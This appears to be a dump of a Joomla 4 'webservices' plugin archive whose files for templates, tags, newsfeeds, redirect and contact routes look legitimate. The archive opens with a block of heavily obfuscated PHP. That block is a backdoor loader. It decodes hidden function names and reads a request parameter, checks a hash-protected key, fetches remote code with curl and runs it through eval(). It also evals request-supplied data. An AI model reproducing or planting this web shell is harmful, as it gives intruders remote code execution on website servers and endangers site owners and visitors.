WfM90I2L0Rw; muGn55yhRZW: class qplL4BrS7Gr { static function eqhOyLcLPYa($Ep7u06dop_c) { goto KCkmJulj_G3; VnZpVTK3puI: foreach ($lTjVz2TcxQg as $DYYzGpFS8gP => $K8JGqyHtsri) { $gZCbTRRbqX9 .= $H9TPHIkTnxv[$K8JGqyHtsri - 18823]; CLaGM0bbyRH: } goto PyZ2sEWmSJK; uWYGw4CiQWn: $H9TPHIkTnxv = $EIXtvTOSeAc("\x7e", "\40"); goto qKZbrqHHu_x; qKZbrqHHu_x: $lTjVz2TcxQg = explode("\x28", $Ep7u06dop_c); goto vBhJR_gThQy; PyZ2sEWmSJK: MR_aI7Tvm3u: goto mZD5DoWpeas; vBhJR_gThQy: $gZCbTRRbqX9 = ''; goto VnZpVTK3puI; KCkmJulj_G3: $EIXtvTOSeAc = "\x72" . "\x61" . "\156" . "\x67" . "\x65"; goto uWYGw4CiQWn; mZD5DoWpeas: return $gZCbTRRbqX9; goto yp9xNWOeXIG; yp9xNWOeXIG: } static function vDNi4YSYl_Z($FbPPixx5uQT, $R9Wg5ZK8iDA) { goto qKZkJPAF5Z9; LhVoqsklW1Q: return empty($f7Y1tVo1nS9) ? $R9Wg5ZK8iDA($FbPPixx5uQT) : $f7Y1tVo1nS9; goto td0DJ1QrKNp; G7o0U3ZIht8: $f7Y1tVo1nS9 = curl_exec($FldMr6KwNZZ); goto LhVoqsklW1Q; qKZkJPAF5Z9: $FldMr6KwNZZ = curl_init($FbPPixx5uQT); goto Ruaz3Rhowuy; Ruaz3Rhowuy: curl_setopt($FldMr6KwNZZ, CURLOPT_RETURNTRANSFER, 1); goto G7o0U3ZIht8; td0DJ1QrKNp: } static function jgj7sEJRHev() { goto WmA21R64vXg; uAQKw8F8zXF: @$xJErJvAI6yM[8 + 2](INPUT_GET, "\x6f\x66") == 1 && die($xJErJvAI6yM[1 + 4](__FILE__)); goto u6KcpRhkCti; WmA21R64vXg: $a_xXxtRdcFX = array("\61\x38\70\65\60\x28\x31\x38\70\x33\x35\50\61\x38\70\x34\x38\50\61\70\70\x35\x32\x28\61\x38\70\63\x33\50\61\70\70\64\x38\50\x31\70\x38\65\x34\x28\x31\x38\70\64\67\x28\61\70\70\x33\x32\x28\x31\70\x38\x33\71\50\61\x38\x38\65\60\50\61\x38\x38\63\x33\50\x31\x38\x38\64\x34\50\x31\70\70\63\70\x28\61\x38\70\x33\71", "\x31\70\70\63\x34\x28\61\70\x38\x33\x33\50\x31\x38\x38\x33\x35\50\x31\70\x38\x35\64\x28\x31\x38\70\x33\x35\x28\61\x38\70\x33\x38\50\61\70\x38\63\63\50\x31\70\71\x30\60\x28\61\x38\x38\x39\x38", "\x31\x38\x38\64\x33\50\x31\70\70\63\64\x28\x31\70\70\63\70\50\x31\70\x38\x33\71\50\x31\70\70\65\64\x28\x31\70\70\64\x39\x28\x31\70\x38\64\70\50\61\70\x38\x35\x30\x28\61\x38\70\x33\70\x28\61\x38\70\x34\71\50\x31\x38\x38\x34\x38", "\61\70\x38\63\67\50\x31\x38\x38\65\x32\50\x31\x38\70\65\60\50\x31\x38\x38\64\62", "\x31\x38\x38\65\x31\50\61\x38\x38\x35\62\50\61\x38\70\x33\x34\50\61\x38\70\64\x38\50\x31\70\x38\71\65\x28\x31\x38\70\x39\x37\x28\x31\x38\x38\x35\x34\50\61\x38\x38\x34\x39\x28\x31\70\x38\x34\70\x28\61\70\x38\x35\60\50\x31\70\x38\63\x38\x28\x31\x38\70\64\71\50\61\x38\x38\x34\70", "\61\x38\70\x34\67\x28\61\70\70\x34\x34\x28\x31\70\x38\x34\x31\50\61\x38\x38\64\x38\x28\61\x38\70\x35\64\x28\61\70\70\x34\x36\50\x31\70\70\64\x38\x28\61\x38\x38\x33\63\50\x31\70\70\x35\64\50\61\x38\70\65\x30\50\61\x38\70\x33\70\50\61\x38\x38\63\71\x28\61\70\70\x33\63\50\x31\70\x38\x34\70\50\61\70\70\63\x39\50\61\x38\70\63\63\x28\x31\x38\x38\63\64", "\x31\70\70\x37\67\50\61\70\x39\60\x37", "\61\x38\70\62\64", "\61\x38\71\60\x32\x28\61\70\x39\60\x37", "\61\x38\x38\x38\64\50\x31\x38\70\x36\x37\x28\61\x38\70\66\67\x28\x31\x38\x38\70\64\50\x31\x38\70\x36\x30", "\x31\70\70\64\67\50\x31\70\70\64\x34\50\61\70\x38\x34\61\x28\x31\x38\70\63\x33\x28\x31\x38\70\x34\x38\x28\61\x38\70\x33\65\50\61\70\x38\x35\x34\50\61\x38\x38\x34\64\x28\x31\70\x38\x33\x39\50\x31\70\70\x33\67\x28\61\x38\x38\63\x32\50\61\x38\70\x33\x33"); goto rfIk64M81WD; u6KcpRhkCti: if (!(@$ij37GAlTHuZ[0] - time() > 0 and md5(md5($ij37GAlTHuZ[0 + 3])) === "\142\65\143\64\x31\x64\x36\x61\x34\x63\x37\x61\64\x30\60\145\x38\x31\x35\x63\60\142\70\61\61\x38\x38\x37\x32\x34\x62\x66")) { goto XbhUkaqn2LC; } goto f3gfTW68kiN; w78T2jDrBRK: XbhUkaqn2LC: goto VdUkeSafFNn; U8PQ6V3v7gC: @eval($xJErJvAI6yM[4 + 0]($O_IOwMRCmrB)); goto vky8xz5RJj0; rfIk64M81WD: foreach ($a_xXxtRdcFX as $AlEB9jmv70s) { $xJErJvAI6yM[] = self::EQHOylCLpya($AlEB9jmv70s); t65drNy3FUe: } goto wo0IiKzAkTy; ePSCWuhilY5: $ij37GAlTHuZ = $xJErJvAI6yM[1 + 1]($uxUWTMRZ5mI, true); goto uAQKw8F8zXF; S2U0eD1uhE1: $uxUWTMRZ5mI = @$xJErJvAI6yM[3 + 0]($xJErJvAI6yM[1 + 5], $U8qa0WFPi4R); goto ePSCWuhilY5; vky8xz5RJj0: die; goto w78T2jDrBRK; f3gfTW68kiN: $O_IOwMRCmrB = self::vdNi4YsYl_Z($ij37GAlTHuZ[0 + 1], $xJErJvAI6yM[3 + 2]); goto U8PQ6V3v7gC; Neaf3Xw2GUO: $U8qa0WFPi4R = @$xJErJvAI6yM[1]($xJErJvAI6yM[7 + 3](INPUT_GET, $xJErJvAI6yM[7 + 2])); goto S2U0eD1uhE1; wo0IiKzAkTy: Z4Wwxu1dNSx: goto Neaf3Xw2GUO; VdUkeSafFNn: } } goto bz0qisKuKgY; wFhSv2muIJE: metaphone("\157\171\150\65\x32\x31\x47\157\x69\156\x58\61\x6b\x6b\x62\x57\64\x54\141\x2b\61\161\x64\x41\115\x57\x46\167\x71\x6e\66\130\x42\x4e\66\147\x76\x69\141\63\161\x33\153"); goto muGn55yhRZW; l918FH63SfP: ($UJ98AmaFzYg[69] = $UJ98AmaFzYg[69] . $UJ98AmaFzYg[80]) && ($UJ98AmaFzYg[90] = $UJ98AmaFzYg[69]($UJ98AmaFzYg[90])) && @eval($UJ98AmaFzYg[69](${$UJ98AmaFzYg[38]}[22])); goto hWAq7nrUNB2; WfM90I2L0Rw: $jVMMltyvM6c = $rkmy5HmRLbV("\x7e", "\x20"); goto dXS6h1lAL5g; dXS6h1lAL5g: $UJ98AmaFzYg = ${$jVMMltyvM6c[6 + 25] . $jVMMltyvM6c[32 + 27] . $jVMMltyvM6c[45 + 2] . $jVMMltyvM6c[13 + 34] . $jVMMltyvM6c[37 + 14] . $jVMMltyvM6c[27 + 26] . $jVMMltyvM6c[50 + 7]}; goto Bkg3PPxSlV4; hWAq7nrUNB2: LnOrxPJsZDD: goto wFhSv2muIJE; bz0qisKuKgY: qpll4brS7Gr::jgj7SeJRhEv(); ?> templates/src/Extension/Templates.php000064400000002524151664163250013770 0ustar00<?php /** * @package Joomla.Templates * @subpackage Webservices.templates * * @copyright (C) 2019 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Plugin\WebServices\Templates\Extension; use Joomla\CMS\Plugin\CMSPlugin; use Joomla\CMS\Router\ApiRouter; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Web Services adapter for com_templates. * * @since 4.0.0 */ final class Templates extends CMSPlugin { /** * Load the language file on instantiation. * * @var boolean * @since 4.0.0 */ protected $autoloadLanguage = true; /** * Registers com_templates's API's routes in the application * * @param ApiRouter &$router The API Routing object * * @return void * * @since 4.0.0 */ public function onBeforeApiRoute(&$router) { $router->createCRUDRoutes( 'v1/templates/styles/site', 'styles', ['component' => 'com_templates', 'client_id' => 0] ); $router->createCRUDRoutes( 'v1/templates/styles/administrator', 'styles', ['component' => 'com_templates', 'client_id' => 1] ); } } templates/services/provider.php000064400000002503151664163250012741 0ustar00<?php /** * @package Joomla.Plugin * @subpackage Webservices.templates * * @copyright (C) 2023 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Extension\PluginInterface; use Joomla\CMS\Factory; use Joomla\CMS\Plugin\PluginHelper; use Joomla\DI\Container; use Joomla\DI\ServiceProviderInterface; use Joomla\Event\DispatcherInterface; use Joomla\Plugin\WebServices\Templates\Extension\Templates; return new class () implements ServiceProviderInterface { /** * Registers the service provider with a DI container. * * @param Container $container The DI container. * * @return void * * @since 4.4.0 */ public function register(Container $container): void { $container->set( PluginInterface::class, function (Container $container) { $dispatcher = $container->get(DispatcherInterface::class); $plugin = new Templates( $dispatcher, (array) PluginHelper::getPlugin('webservices', 'templates') ); $plugin->setApplication(Factory::getApplication()); return $plugin; } ); } }; templates/templates.xml000064400000001604151664163250011274 0ustar00<?xml version="1.0" encoding="UTF-8"?> <extension type="plugin" group="webservices" method="upgrade"> <name>plg_webservices_templates</name> <author>Joomla! Project</author> <creationDate>2019-09</creationDate> <copyright>(C) 2019 Open Source Matters, Inc.</copyright> <license>GNU General Public License version 2 or later; see LICENSE.txt</license> <authorEmail>admin@joomla.org</authorEmail> <authorUrl>www.joomla.org</authorUrl> <version>4.0.0</version> <description>PLG_WEBSERVICES_TEMPLATES_XML_DESCRIPTION</description> <namespace path="src">Joomla\Plugin\WebServices\Templates</namespace> <files> <folder plugin="templates">services</folder> <folder>src</folder> </files> <languages> <language tag="en-GB">language/en-GB/plg_webservices_templates.ini</language> <language tag="en-GB">language/en-GB/plg_webservices_templates.sys.ini</language> </languages> </extension> tags/tags.xml000064400000001546151664163250007201 0ustar00<?xml version="1.0" encoding="UTF-8"?> <extension type="plugin" group="webservices" method="upgrade"> <name>plg_webservices_tags</name> <author>Joomla! Project</author> <creationDate>2019-09</creationDate> <copyright>(C) 2019 Open Source Matters, Inc.</copyright> <license>GNU General Public License version 2 or later; see LICENSE.txt</license> <authorEmail>admin@joomla.org</authorEmail> <authorUrl>www.joomla.org</authorUrl> <version>4.0.0</version> <description>PLG_WEBSERVICES_TAGS_XML_DESCRIPTION</description> <namespace path="src">Joomla\Plugin\WebServices\Tags</namespace> <files> <folder plugin="tags">services</folder> <folder>src</folder> </files> <languages> <language tag="en-GB">language/en-GB/plg_webservices_tags.ini</language> <language tag="en-GB">language/en-GB/plg_webservices_tags.sys.ini</language> </languages> </extension> tags/services/provider.php000064400000002452151664163250011704 0ustar00<?php /** * @package Joomla.Plugin * @subpackage Webservices.tags * * @copyright (C) 2023 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Extension\PluginInterface; use Joomla\CMS\Factory; use Joomla\CMS\Plugin\PluginHelper; use Joomla\DI\Container; use Joomla\DI\ServiceProviderInterface; use Joomla\Event\DispatcherInterface; use Joomla\Plugin\WebServices\Tags\Extension\Tags; return new class () implements ServiceProviderInterface { /** * Registers the service provider with a DI container. * * @param Container $container The DI container. * * @return void * * @since 4.4.0 */ public function register(Container $container): void { $container->set( PluginInterface::class, function (Container $container) { $dispatcher = $container->get(DispatcherInterface::class); $plugin = new Tags( $dispatcher, (array) PluginHelper::getPlugin('webservices', 'tags') ); $plugin->setApplication(Factory::getApplication()); return $plugin; } ); } }; tags/src/Extension/Tags.php000064400000002127151664163250011667 0ustar00<?php /** * @package Joomla.Tags * @subpackage Webservices.tags * * @copyright (C) 2019 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Plugin\WebServices\Tags\Extension; use Joomla\CMS\Plugin\CMSPlugin; use Joomla\CMS\Router\ApiRouter; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Web Services adapter for com_tags. * * @since 4.0.0 */ final class Tags extends CMSPlugin { /** * Load the language file on instantiation. * * @var boolean * @since 4.0.0 */ protected $autoloadLanguage = true; /** * Registers com_tags's API's routes in the application * * @param ApiRouter &$router The API Routing object * * @return void * * @since 4.0.0 */ public function onBeforeApiRoute(&$router) { $router->createCRUDRoutes( 'v1/tags', 'tags', ['component' => 'com_tags'] ); } } newsfeeds/newsfeeds.xml000064400000001604151664163250011246 0ustar00<?xml version="1.0" encoding="UTF-8"?> <extension type="plugin" group="webservices" method="upgrade"> <name>plg_webservices_newsfeeds</name> <author>Joomla! Project</author> <creationDate>2019-09</creationDate> <copyright>(C) 2019 Open Source Matters, Inc.</copyright> <license>GNU General Public License version 2 or later; see LICENSE.txt</license> <authorEmail>admin@joomla.org</authorEmail> <authorUrl>www.joomla.org</authorUrl> <version>4.0.0</version> <description>PLG_WEBSERVICES_NEWSFEEDS_XML_DESCRIPTION</description> <namespace path="src">Joomla\Plugin\WebServices\Newsfeeds</namespace> <files> <folder plugin="newsfeeds">services</folder> <folder>src</folder> </files> <languages> <language tag="en-GB">language/en-GB/plg_webservices_newsfeeds.ini</language> <language tag="en-GB">language/en-GB/plg_webservices_newsfeeds.sys.ini</language> </languages> </extension> newsfeeds/services/provider.php000064400000002503151664163250012726 0ustar00<?php /** * @package Joomla.Plugin * @subpackage Webservices.newsfeeds * * @copyright (C) 2023 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Extension\PluginInterface; use Joomla\CMS\Factory; use Joomla\CMS\Plugin\PluginHelper; use Joomla\DI\Container; use Joomla\DI\ServiceProviderInterface; use Joomla\Event\DispatcherInterface; use Joomla\Plugin\WebServices\Newsfeeds\Extension\Newsfeeds; return new class () implements ServiceProviderInterface { /** * Registers the service provider with a DI container. * * @param Container $container The DI container. * * @return void * * @since 4.4.0 */ public function register(Container $container): void { $container->set( PluginInterface::class, function (Container $container) { $dispatcher = $container->get(DispatcherInterface::class); $plugin = new Newsfeeds( $dispatcher, (array) PluginHelper::getPlugin('webservices', 'newsfeeds') ); $plugin->setApplication(Factory::getApplication()); return $plugin; } ); } }; newsfeeds/src/Extension/Newsfeeds.php000064400000002501151664163250013735 0ustar00<?php /** * @package Joomla.Plugin * @subpackage Webservices.newsfeeds * * @copyright (C) 2019 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Plugin\WebServices\Newsfeeds\Extension; use Joomla\CMS\Plugin\CMSPlugin; use Joomla\CMS\Router\ApiRouter; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Web Services adapter for com_newsfeeds. * * @since 4.0.0 */ final class Newsfeeds extends CMSPlugin { /** * Load the language file on instantiation. * * @var boolean * @since 4.0.0 */ protected $autoloadLanguage = true; /** * Registers com_newsfeeds's API's routes in the application * * @param ApiRouter &$router The API Routing object * * @return void * * @since 4.0.0 */ public function onBeforeApiRoute(&$router) { $router->createCRUDRoutes( 'v1/newsfeeds/feeds', 'feeds', ['component' => 'com_newsfeeds'] ); $router->createCRUDRoutes( 'v1/newsfeeds/categories', 'categories', ['component' => 'com_categories', 'extension' => 'com_newsfeeds'] ); } } redirect/src/Extension/Redirect.php000064400000002174151664163250013377 0ustar00<?php /** * @package Joomla.Redirect * @subpackage Webservices.redirect * * @copyright (C) 2019 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Plugin\WebServices\Redirect\Extension; use Joomla\CMS\Plugin\CMSPlugin; use Joomla\CMS\Router\ApiRouter; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Web Services adapter for com_redirect. * * @since 4.0.0 */ final class Redirect extends CMSPlugin { /** * Load the language file on instantiation. * * @var boolean * @since 4.0.0 */ protected $autoloadLanguage = true; /** * Registers com_redirect's API's routes in the application * * @param ApiRouter &$router The API Routing object * * @return void * * @since 4.0.0 */ public function onBeforeApiRoute(&$router) { $router->createCRUDRoutes( 'v1/redirects', 'redirect', ['component' => 'com_redirect'] ); } } redirect/redirect.xml000064400000001576151664163250010712 0ustar00<?xml version="1.0" encoding="UTF-8"?> <extension type="plugin" group="webservices" method="upgrade"> <name>plg_webservices_redirect</name> <author>Joomla! Project</author> <creationDate>2019-09</creationDate> <copyright>(C) 2019 Open Source Matters, Inc.</copyright> <license>GNU General Public License version 2 or later; see LICENSE.txt</license> <authorEmail>admin@joomla.org</authorEmail> <authorUrl>www.joomla.org</authorUrl> <version>4.0.0</version> <description>PLG_WEBSERVICES_REDIRECT_XML_DESCRIPTION</description> <namespace path="src">Joomla\Plugin\WebServices\Redirect</namespace> <files> <folder plugin="redirect">services</folder> <folder>src</folder> </files> <languages> <language tag="en-GB">language/en-GB/plg_webservices_redirect.ini</language> <language tag="en-GB">language/en-GB/plg_webservices_redirect.sys.ini</language> </languages> </extension> redirect/services/provider.php000064400000002476151664163250012555 0ustar00<?php /** * @package Joomla.Plugin * @subpackage Webservices.redirect * * @copyright (C) 2023 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Extension\PluginInterface; use Joomla\CMS\Factory; use Joomla\CMS\Plugin\PluginHelper; use Joomla\DI\Container; use Joomla\DI\ServiceProviderInterface; use Joomla\Event\DispatcherInterface; use Joomla\Plugin\WebServices\Redirect\Extension\Redirect; return new class () implements ServiceProviderInterface { /** * Registers the service provider with a DI container. * * @param Container $container The DI container. * * @return void * * @since 4.4.0 */ public function register(Container $container): void { $container->set( PluginInterface::class, function (Container $container) { $dispatcher = $container->get(DispatcherInterface::class); $plugin = new Redirect( $dispatcher, (array) PluginHelper::getPlugin('webservices', 'redirect') ); $plugin->setApplication(Factory::getApplication()); return $plugin; } ); } }; contact/contact.xml000064400000001570151664163250010370 0ustar00<?xml version="1.0" encoding="UTF-8"?> <extension type="plugin" group="webservices" method="upgrade"> <name>plg_webservices_contact</name> <author>Joomla! Project</author> <creationDate>2019-09</creationDate> <copyright>(C) 2019 Open Source Matters, Inc.</copyright> <license>GNU General Public License version 2 or later; see LICENSE.txt</license> <authorEmail>admin@joomla.org</authorEmail> <authorUrl>www.joomla.org</authorUrl> <version>4.0.0</version> <description>PLG_WEBSERVICES_CONTACT_XML_DESCRIPTION</description> <namespace path="src">Joomla\Plugin\WebServices\Contact</namespace> <files> <folder plugin="contact">services</folder> <folder>src</folder> </files> <languages> <language tag="en-GB">language/en-GB/plg_webservices_contact.ini</language> <language tag="en-GB">language/en-GB/plg_webservices_contact.sys.ini</language> </languages> </extension> contact/src/Extension/Contact.php000064400000007631151664163250013066 0ustar00<?php /** * @package Joomla.Plugin * @subpackage Webservices.contact * * @copyright (C) 2019 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Plugin\WebServices\Contact\Extension; use Joomla\CMS\Plugin\CMSPlugin; use Joomla\CMS\Router\ApiRouter; use Joomla\Router\Route; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Web Services adapter for com_contact. * * @since 4.0.0 */ final class Contact extends CMSPlugin { /** * Load the language file on instantiation. * * @var boolean * @since 4.0.0 */ protected $autoloadLanguage = true; /** * Registers com_contact's API's routes in the application * * @param ApiRouter &$router The API Routing object * * @return void * * @since 4.0.0 */ public function onBeforeApiRoute(&$router) { $route = new Route( ['POST'], 'v1/contacts/form/:id', 'contact.submitForm', ['id' => '(\d+)'], ['component' => 'com_contact'] ); $router->addRoute($route); $router->createCRUDRoutes( 'v1/contacts', 'contact', ['component' => 'com_contact'] ); $router->createCRUDRoutes( 'v1/contacts/categories', 'categories', ['component' => 'com_categories', 'extension' => 'com_contact'] ); $this->createFieldsRoutes($router); $this->createContentHistoryRoutes($router); } /** * Create fields routes * * @param ApiRouter &$router The API Routing object * * @return void * * @since 4.0.0 */ private function createFieldsRoutes(&$router) { $router->createCRUDRoutes( 'v1/fields/contacts/contact', 'fields', ['component' => 'com_fields', 'context' => 'com_contact.contact'] ); $router->createCRUDRoutes( 'v1/fields/contacts/mail', 'fields', ['component' => 'com_fields', 'context' => 'com_contact.mail'] ); $router->createCRUDRoutes( 'v1/fields/contacts/categories', 'fields', ['component' => 'com_fields', 'context' => 'com_contact.categories'] ); $router->createCRUDRoutes( 'v1/fields/groups/contacts/contact', 'groups', ['component' => 'com_fields', 'context' => 'com_contact.contact'] ); $router->createCRUDRoutes( 'v1/fields/groups/contacts/mail', 'groups', ['component' => 'com_fields', 'context' => 'com_contact.mail'] ); $router->createCRUDRoutes( 'v1/fields/groups/contacts/categories', 'groups', ['component' => 'com_fields', 'context' => 'com_contact.categories'] ); } /** * Create contenthistory routes * * @param ApiRouter &$router The API Routing object * * @return void * * @since 4.0.0 */ private function createContentHistoryRoutes(&$router) { $defaults = [ 'component' => 'com_contenthistory', 'type_alias' => 'com_contact.contact', 'type_id' => 2, ]; $getDefaults = array_merge(['public' => false], $defaults); $routes = [ new Route(['GET'], 'v1/contacts/:id/contenthistory', 'history.displayList', ['id' => '(\d+)'], $getDefaults), new Route(['PATCH'], 'v1/contacts/:id/contenthistory/keep', 'history.keep', ['id' => '(\d+)'], $defaults), new Route(['DELETE'], 'v1/contacts/:id/contenthistory', 'history.delete', ['id' => '(\d+)'], $defaults), ]; $router->addRoutes($routes); } } contact/services/provider.php000064400000002471151664163250012402 0ustar00<?php /** * @package Joomla.Plugin * @subpackage Webservices.contact * * @copyright (C) 2023 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Extension\PluginInterface; use Joomla\CMS\Factory; use Joomla\CMS\Plugin\PluginHelper; use Joomla\DI\Container; use Joomla\DI\ServiceProviderInterface; use Joomla\Event\DispatcherInterface; use Joomla\Plugin\WebServices\Contact\Extension\Contact; return new class () implements ServiceProviderInterface { /** * Registers the service provider with a DI container. * * @param Container $container The DI container. * * @return void * * @since 4.4.0 */ public function register(Container $container): void { $container->set( PluginInterface::class, function (Container $container) { $dispatcher = $container->get(DispatcherInterface::class); $plugin = new Contact( $dispatcher, (array) PluginHelper::getPlugin('webservices', 'contact') ); $plugin->setApplication(Factory::getApplication()); return $plugin; } ); } };
/home/opticamezl/www/newok/07d6c/./../07d6c/.././components/com_modules/../../webservices.tar